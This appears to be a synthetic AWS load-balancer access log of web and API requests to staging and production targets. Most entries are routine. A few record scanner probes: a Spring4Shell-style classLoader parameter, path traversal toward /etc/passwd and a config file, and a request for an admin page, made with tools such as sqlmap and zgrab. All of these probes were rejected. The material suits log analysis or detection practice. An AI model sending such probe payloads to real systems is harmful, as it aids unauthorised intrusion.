"Root=1-6723c895-7c2a9bddb7114b38b51121ef" "staging-alb.example.com" "-" 1 2024-11-01T01:12:37.228393Z "forward" "-" "-" "26.136.135.160:443" "200" "-" "-" +https 2024-11-01T01:12:38.517551Z staging-alb 199.108.108.19:17006 71.127.114.65:80 0.017742 0.661087 0.095572 301 301 71 12463 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c896-7ea77133357b4098b09b5f8d" "staging-alb.example.com" "-" 0 2024-11-01T01:12:38.517551Z "forward" "-" "-" "71.127.114.65:80" "301" "-" "-" +https 2024-11-01T01:12:38.994716Z prod-web-alb 202.46.130.20:26908 10.0.216.242:443 0.011548 0.295377 0.008393 301 301 880 7731 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c896-9484ef860350493aace22e04" "prod-web-alb.example.com" "-" 0 2024-11-01T01:12:38.994716Z "forward" "-" "-" "10.0.216.242:443" "301" "-" "-" +https 2024-11-01T01:12:39.991269Z prod-web-alb 67.155.5.195:26655 10.0.170.47:443 0.005723 0.211677 0.000004 200 200 576 4343 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c897-20bf310f58bc42f29d352b34" "prod-web-alb.example.com" "-" 5 2024-11-01T01:12:39.991269Z "forward" "-" "-" "10.0.170.47:443" "200" "-" "-" +http 2024-11-01T01:12:40.584293Z staging-alb 173.59.254.227:60665 180.246.61.25:443 0.024060 0.013682 0.129097 200 200 34 10786 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c898-79a8dc50fecc4d828e4ed94a" "staging-alb.example.com" "-" 7 2024-11-01T01:12:40.584293Z "forward" "-" "-" "180.246.61.25:443" "200" "-" "-" +https 2024-11-01T01:12:41.934719Z prod-api-alb 84.80.220.147:34270 10.0.140.130:443 0.069906 0.293160 0.018545 301 301 801 910 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c899-8138ee054d7241289bd542bf" "-" "-" 10 2024-11-01T01:12:41.934719Z "forward" "-" "-" "10.0.140.130:443" "301" "-" "-" +https 2024-11-01T01:12:43.778140Z prod-api-alb 55.102.237.128:62132 10.0.45.224:443 0.085207 0.466994 0.040421 200 200 544 14465 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c89b-58eb8edb9017437798abaa10" "prod-api-alb.example.com" "-" 7 2024-11-01T01:12:43.778140Z "forward" "-" "-" "10.0.45.224:443" "200" "-" "-" +https 2024-11-01T01:12:44.749104Z prod-web-alb 255.189.65.24:24411 10.0.37.158:443 0.061184 0.253737 0.002780 200 200 668 712 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c89c-06e5e57db8824e08b6bc638f" "prod-web-alb.example.com" "-" 4 2024-11-01T01:12:44.749104Z "forward" "-" "-" "10.0.37.158:443" "200" "-" "-" +https 2024-11-01T01:12:45.851613Z prod-api-alb 201.76.187.26:57901 10.0.126.112:443 0.001081 0.239236 0.021592 200 200 980 10795 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c89d-d94cc64e15bd400a9d40f81b" "prod-api-alb.example.com" "-" 0 2024-11-01T01:12:45.851613Z "forward" "-" "-" "10.0.126.112:443" "200" "-" "-" +https 2024-11-01T01:12:46.791798Z staging-alb 129.24.8.39:36990 193.220.186.243:80 0.107368 0.193902 0.119014 200 200 985 4281 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c89e-521e94a28bf34a39a2efec6c" "staging-alb.example.com" "-" 6 2024-11-01T01:12:46.791798Z "forward" "-" "-" "193.220.186.243:80" "200" "-" "-" +https 2024-11-01T01:12:47.237398Z staging-alb 184.241.197.225:45935 26.133.9.5:80 0.085166 0.152154 0.091100 200 200 685 10202 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c89f-ce41d8fae03a47f8ba06bbd7" "staging-alb.example.com" "-" 0 2024-11-01T01:12:47.237398Z "forward" "-" "-" "26.133.9.5:80" "200" "-" "-" +https 2024-11-01T01:12:48.943545Z prod-api-alb 138.199.74.175:20229 10.0.54.10:443 0.034102 0.427081 0.025527 200 200 151 3712 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c8a0-3da868fa4b6f4eaf89bfd18e" "prod-api-alb.example.com" "-" 7 2024-11-01T01:12:48.943545Z "forward" "-" "-" "10.0.54.10:443" "200" "-" "-" +https 2024-11-01T01:12:50.915175Z staging-alb 127.158.193.149:14680 245.195.100.136:443 0.044858 0.069979 0.123361 301 301 896 6568 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c8a2-17c2b75732b449e583314d88" "staging-alb.example.com" "-" 7 2024-11-01T01:12:50.915175Z "forward" "-" "-" "245.195.100.136:443" "301" "-" "-" +http 2024-11-01T01:12:51.481304Z staging-alb 90.128.144.79:31126 228.166.8.156:80 0.022936 0.093235 0.094573 200 200 238 10927 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c8a3-72e401db8e84448990c7bc6f" "staging-alb.example.com" "-" 2 2024-11-01T01:12:51.481304Z "forward" "-" "-" "228.166.8.156:80" "200" "-" "-" +https 2024-11-01T01:12:51.823138Z prod-web-alb 109.247.18.60:20952 10.0.145.211:443 0.097479 0.086267 0.012684 302 302 877 8925 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c8a3-bee8f53d6fd54ca1b956f69d" "prod-web-alb.example.com" "-" 4 2024-11-01T01:12:51.823138Z "forward" "-" "-" "10.0.145.211:443" "302" "-" "-" +https 2024-11-01T01:12:53.734562Z staging-alb 244.85.61.132:40296 74.199.162.173:80 0.086520 0.208220 0.106953 301 301 267 5211 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8a5-83e0a4b8eac4410989be416e" "staging-alb.example.com" "-" 0 2024-11-01T01:12:53.734562Z "forward" "-" "-" "74.199.162.173:80" "301" "-" "-" +http 2024-11-01T01:12:55.000509Z staging-alb 120.92.85.243:40825 67.105.90.216:8080 0.066777 0.639495 0.045331 200 200 460 2964 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8a7-2e8b851155e443c3b44d478a" "staging-alb.example.com" "-" 3 2024-11-01T01:12:55.000509Z "forward" "-" "-" "67.105.90.216:8080" "200" "-" "-" +https 2024-11-01T01:12:56.024360Z prod-api-alb 78.180.53.111:15403 10.0.57.56:443 0.009715 0.076816 0.076054 301 301 852 1048 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c8a8-ac89765e543749edba46b523" "prod-api-alb.example.com" "-" 9 2024-11-01T01:12:56.024360Z "forward" "-" "-" "10.0.57.56:443" "301" "-" "-" +https 2024-11-01T01:12:57.652521Z staging-alb 224.96.179.114:12828 90.199.38.237:443 0.126009 0.386611 0.004604 200 200 208 5547 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8a9-a424834d23f7426cac97bf15" "staging-alb.example.com" "-" 10 2024-11-01T01:12:57.652521Z "forward" "-" "-" "90.199.38.237:443" "200" "-" "-" +https 2024-11-01T01:12:58.327861Z prod-api-alb 11.111.73.107:20681 10.0.205.188:443 0.047432 0.013945 0.091188 200 200 603 11036 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c8aa-e55ff9172f1544b1ab2ac268" "prod-api-alb.example.com" "-" 9 2024-11-01T01:12:58.327861Z "forward" "-" "-" "10.0.205.188:443" "200" "-" "-" +https 2024-11-01T01:13:00.234146Z staging-alb 37.50.124.56:32386 126.236.208.114:443 0.079473 0.370205 0.121544 200 200 549 342 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8ac-309f1d77b68c4796bebac959" "staging-alb.example.com" "-" 1 2024-11-01T01:13:00.234146Z "forward" "-" "-" "126.236.208.114:443" "200" "-" "-" +https 2024-11-01T01:13:00.869234Z prod-api-alb 124.89.113.20:49520 10.0.128.233:443 0.000668 0.426920 0.040580 200 200 702 4659 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c8ac-70b1033b1baf4670bd21fb19" "prod-api-alb.example.com" "-" 9 2024-11-01T01:13:00.869234Z "forward" "-" "-" "10.0.128.233:443" "200" "-" "-" +http 2024-11-01T01:13:01.820373Z staging-alb 200.89.165.218:34024 104.89.119.233:443 0.137596 0.163506 0.040710 200 200 261 10268 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c8ad-e151a9291710434a94983932" "staging-alb.example.com" "-" 7 2024-11-01T01:13:01.820373Z "forward" "-" "-" "104.89.119.233:443" "200" "-" "-" +https 2024-11-01T01:13:02.769858Z prod-api-alb 185.181.125.99:38123 10.0.224.233:443 0.078785 0.273917 0.000137 404 404 484 230 "POST /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c8ae-82d27409e6844c72b2294943" "-" "-" 5 2024-11-01T01:13:02.769858Z "forward" "-" "-" "10.0.224.233:443" "404" "-" "-" +https 2024-11-01T01:13:04.632820Z prod-api-alb 185.93.162.36:45901 10.0.176.89:443 0.065555 0.226078 0.057497 404 404 918 9269 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c8b0-a1fff9e81a964e12b81eb779" "prod-api-alb.example.com" "-" 0 2024-11-01T01:13:04.632820Z "forward" "-" "-" "10.0.176.89:443" "404" "-" "-" +https 2024-11-01T01:13:04.959002Z prod-web-alb 225.96.28.78:13244 10.0.57.97:443 0.007773 0.448877 0.098133 200 200 590 8934 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c8b0-cf6e8d326e084ce389818e37" "prod-web-alb.example.com" "-" 5 2024-11-01T01:13:04.959002Z "forward" "-" "-" "10.0.57.97:443" "200" "-" "-" +https 2024-11-01T01:13:06.032285Z prod-web-alb 160.131.71.218:59624 10.0.58.36:443 0.009434 0.176146 0.099809 302 302 498 8590 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c8b2-03e75f5f87c4476fb6f02e3e" "prod-web-alb.example.com" "-" 8 2024-11-01T01:13:06.032285Z "forward" "-" "-" "10.0.58.36:443" "302" "-" "-" +https 2024-11-01T01:13:07.731132Z prod-api-alb 243.222.75.216:25574 10.0.95.140:443 0.005776 0.318061 0.056851 200 200 407 5252 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c8b3-ca3426d7885e4a46bd302e69" "prod-api-alb.example.com" "-" 3 2024-11-01T01:13:07.731132Z "forward" "-" "-" "10.0.95.140:443" "200" "-" "-" +https 2024-11-01T01:13:08.578003Z prod-web-alb 144.37.94.239:25544 10.0.67.56:443 0.064110 0.491282 0.064129 200 200 64 8066 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c8b4-a9498478808c45fa8e23050f" "prod-web-alb.example.com" "-" 1 2024-11-01T01:13:08.578003Z "forward" "-" "-" "10.0.67.56:443" "200" "-" "-" +https 2024-11-01T01:13:08.835614Z staging-alb 146.18.170.54:36825 58.205.38.15:80 0.058652 0.675504 0.131722 200 200 761 7369 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8b4-3b6dbea4c2a7479283f08892" "staging-alb.example.com" "-" 8 2024-11-01T01:13:08.835614Z "forward" "-" "-" "58.205.38.15:80" "200" "-" "-" +https 2024-11-01T01:13:10.316185Z prod-web-alb 235.93.245.151:44614 10.0.232.102:443 0.051159 0.355260 0.055679 200 200 261 7686 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c8b6-6e6b1b3eb66b48d3871afeb8" "prod-web-alb.example.com" "-" 10 2024-11-01T01:13:10.316185Z "forward" "-" "-" "10.0.232.102:443" "200" "-" "-" +http 2024-11-01T01:13:12.281484Z staging-alb 185.181.160.192:59245 191.191.229.22:8080 0.079346 0.467473 0.003535 403 403 971 14788 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8b8-fa4f600dc1724845a707a009" "-" "-" 1 2024-11-01T01:13:12.281484Z "forward" "-" "-" "191.191.229.22:8080" "403" "-" "-" +https 2024-11-01T01:13:13.480772Z prod-api-alb 192.24.140.24:11056 10.0.146.95:443 0.060891 0.274251 0.092446 404 404 456 9284 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c8b9-0818f4cda2fb4255b64c2066" "-" "-" 5 2024-11-01T01:13:13.480772Z "forward" "-" "-" "10.0.146.95:443" "404" "-" "-" +https 2024-11-01T01:13:14.696385Z prod-api-alb 254.114.109.38:56057 10.0.61.81:443 0.084844 0.240281 0.014318 200 200 490 7644 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c8ba-cd12d923df5a465b9a25f460" "prod-api-alb.example.com" "-" 8 2024-11-01T01:13:14.696385Z "forward" "-" "-" "10.0.61.81:443" "200" "-" "-" +http 2024-11-01T01:13:16.472382Z staging-alb 11.109.16.211:25903 56.243.48.155:8080 0.052909 0.533684 0.058766 404 404 818 7463 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c8bc-df3d8e2e551348a08c736a64" "staging-alb.example.com" "-" 10 2024-11-01T01:13:16.472382Z "forward" "-" "-" "56.243.48.155:8080" "404" "-" "-" +https 2024-11-01T01:13:17.976898Z prod-api-alb 44.242.209.50:59420 10.0.5.154:443 0.048954 0.444290 0.004510 200 200 458 6388 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c8bd-b2d09a3f2f034d67b6d3b8bc" "prod-api-alb.example.com" "-" 2 2024-11-01T01:13:17.976898Z "forward" "-" "-" "10.0.5.154:443" "200" "-" "-" +https 2024-11-01T01:13:18.848350Z prod-api-alb 93.249.116.195:24462 10.0.158.116:443 0.098454 0.097902 0.011562 200 200 202 13656 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c8be-7ca0911e429c43fd9e72b4ad" "prod-api-alb.example.com" "-" 4 2024-11-01T01:13:18.848350Z "forward" "-" "-" "10.0.158.116:443" "200" "-" "-" +http 2024-11-01T01:13:19.590501Z staging-alb 193.27.228.197:30860 221.220.96.198:8080 0.145605 0.663147 0.050652 401 401 322 10609 "GET /administrator HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8bf-d9e514c4b43b45fe84123db1" "-" "-" 8 2024-11-01T01:13:19.590501Z "forward" "-" "-" "221.220.96.198:8080" "401" "-" "-" +http 2024-11-01T01:13:20.337278Z staging-alb 122.41.248.210:26930 205.178.135.251:80 0.130016 0.055625 0.027275 200 200 629 7622 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c8c0-dba997e2f74040e0b59aba8b" "staging-alb.example.com" "-" 7 2024-11-01T01:13:20.337278Z "forward" "-" "-" "205.178.135.251:80" "200" "-" "-" +https 2024-11-01T01:13:20.458557Z staging-alb 234.16.225.241:27987 144.253.54.168:80 0.060356 0.677462 0.066299 302 302 0 1928 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8c0-437dbeb3b88d4c31b5295499" "staging-alb.example.com" "-" 7 2024-11-01T01:13:20.458557Z "forward" "-" "-" "144.253.54.168:80" "302" "-" "-" +https 2024-11-01T01:13:20.937029Z staging-alb 162.31.174.179:41148 107.73.203.179:443 0.135382 0.491586 0.103501 200 200 637 6898 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c8c0-c13092b70fb7456cb9733fda" "staging-alb.example.com" "-" 8 2024-11-01T01:13:20.937029Z "forward" "-" "-" "107.73.203.179:443" "200" "-" "-" +https 2024-11-01T01:13:22.260428Z prod-api-alb 193.27.228.174:56207 10.0.120.16:443 0.005940 0.096416 0.078934 404 404 136 13932 "GET /api/../../../config HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c8c2-46e8f90ab82f4ac0888bc28a" "-" "-" 5 2024-11-01T01:13:22.260428Z "forward" "-" "-" "10.0.120.16:443" "404" "-" "-" +https 2024-11-01T01:13:24.145776Z prod-web-alb 35.88.52.38:19140 10.0.181.14:443 0.088526 0.147001 0.008528 302 302 522 894 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c8c4-a5ef0e1dc76249249d18156a" "prod-web-alb.example.com" "-" 9 2024-11-01T01:13:24.145776Z "forward" "-" "-" "10.0.181.14:443" "302" "-" "-" +https 2024-11-01T01:13:25.277247Z staging-alb 7.147.78.79:58760 2.14.220.24:443 0.037480 0.328934 0.040997 301 301 580 4417 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8c5-c44f72ba60e24dc1a214f04d" "staging-alb.example.com" "-" 1 2024-11-01T01:13:25.277247Z "forward" "-" "-" "2.14.220.24:443" "301" "-" "-" +https 2024-11-01T01:13:26.478790Z prod-api-alb 127.203.101.81:41420 10.0.148.44:443 0.034861 0.157010 0.056283 301 301 878 12171 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c8c6-506525c183af41008cefb262" "prod-api-alb.example.com" "-" 4 2024-11-01T01:13:26.478790Z "forward" "-" "-" "10.0.148.44:443" "301" "-" "-" +https 2024-11-01T01:13:28.124257Z prod-web-alb 227.138.38.48:37400 10.0.168.248:443 0.027054 0.030508 0.088827 302 302 98 5506 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c8c8-63b0506a62d04e9eada73a5b" "prod-web-alb.example.com" "-" 3 2024-11-01T01:13:28.124257Z "forward" "-" "-" "10.0.168.248:443" "302" "-" "-" +https 2024-11-01T01:13:28.766208Z prod-web-alb 104.3.226.62:35016 10.0.91.11:443 0.094190 0.488153 0.086906 200 200 987 2063 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c8c8-30505984a995429784f8f296" "prod-web-alb.example.com" "-" 8 2024-11-01T01:13:28.766208Z "forward" "-" "-" "10.0.91.11:443" "200" "-" "-" +https 2024-11-01T01:13:30.222414Z prod-web-alb 238.102.117.78:25708 10.0.196.102:443 0.090739 0.217315 0.020389 200 200 94 7807 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c8ca-e1822937907f498f97b25dfd" "prod-web-alb.example.com" "-" 1 2024-11-01T01:13:30.222414Z "forward" "-" "-" "10.0.196.102:443" "200" "-" "-" +https 2024-11-01T01:13:30.896208Z staging-alb 26.27.162.172:35491 160.232.133.230:8080 0.045363 0.602982 0.066154 200 200 897 9056 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c8ca-057f9407db7042cb9117b57f" "staging-alb.example.com" "-" 10 2024-11-01T01:13:30.896208Z "forward" "-" "-" "160.232.133.230:8080" "200" "-" "-" +https 2024-11-01T01:13:31.798080Z prod-web-alb 76.248.47.16:41994 10.0.49.193:443 0.032398 0.307096 0.082911 200 200 845 12993 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 